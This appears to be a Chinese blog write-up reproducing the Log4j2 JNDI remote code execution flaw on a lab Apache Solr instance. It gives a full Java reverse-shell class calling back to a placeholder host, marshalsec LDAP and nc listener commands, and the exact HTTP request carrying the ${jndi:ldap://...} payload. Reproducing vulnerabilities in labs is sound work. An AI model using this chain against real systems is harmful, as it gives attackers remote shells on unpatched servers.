在金融小甲方实习,一个一个的去找开发修洞但是各种理由拖延的经历,安全部门话语权不够太难推动修复了,说多了都是泪。
漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
检测工具
自行GitHub搜索log4jscan,当时还给作者提了几个issue。
靶场搭建
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
使用浏览器访问:
http://192.168.64.128:8983/solr/#/
漏洞检测
通过burp扩展插件和dnslog日志查看漏洞信息
这里确认indexInfo参数触发漏洞
漏洞利用
参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行
恶意类
这里先写一个恶意类 Exploit.java,并编译为class文件
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="x.x.x.x"; //修改为反弹服务器
int port=x; // 修改为反连端口
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
直接使用python启动服务
python -m SimpleHTTPServer 80 //xxx为web端口
启动恶意ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口
nc 监听反连端口
nc -lvvp x //x 为恶意类指定的反连端口
触发漏洞
发送请求
GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close
查看ldap服务器响应
查看web服务响应
查看nc监听,可以看到拿到shell了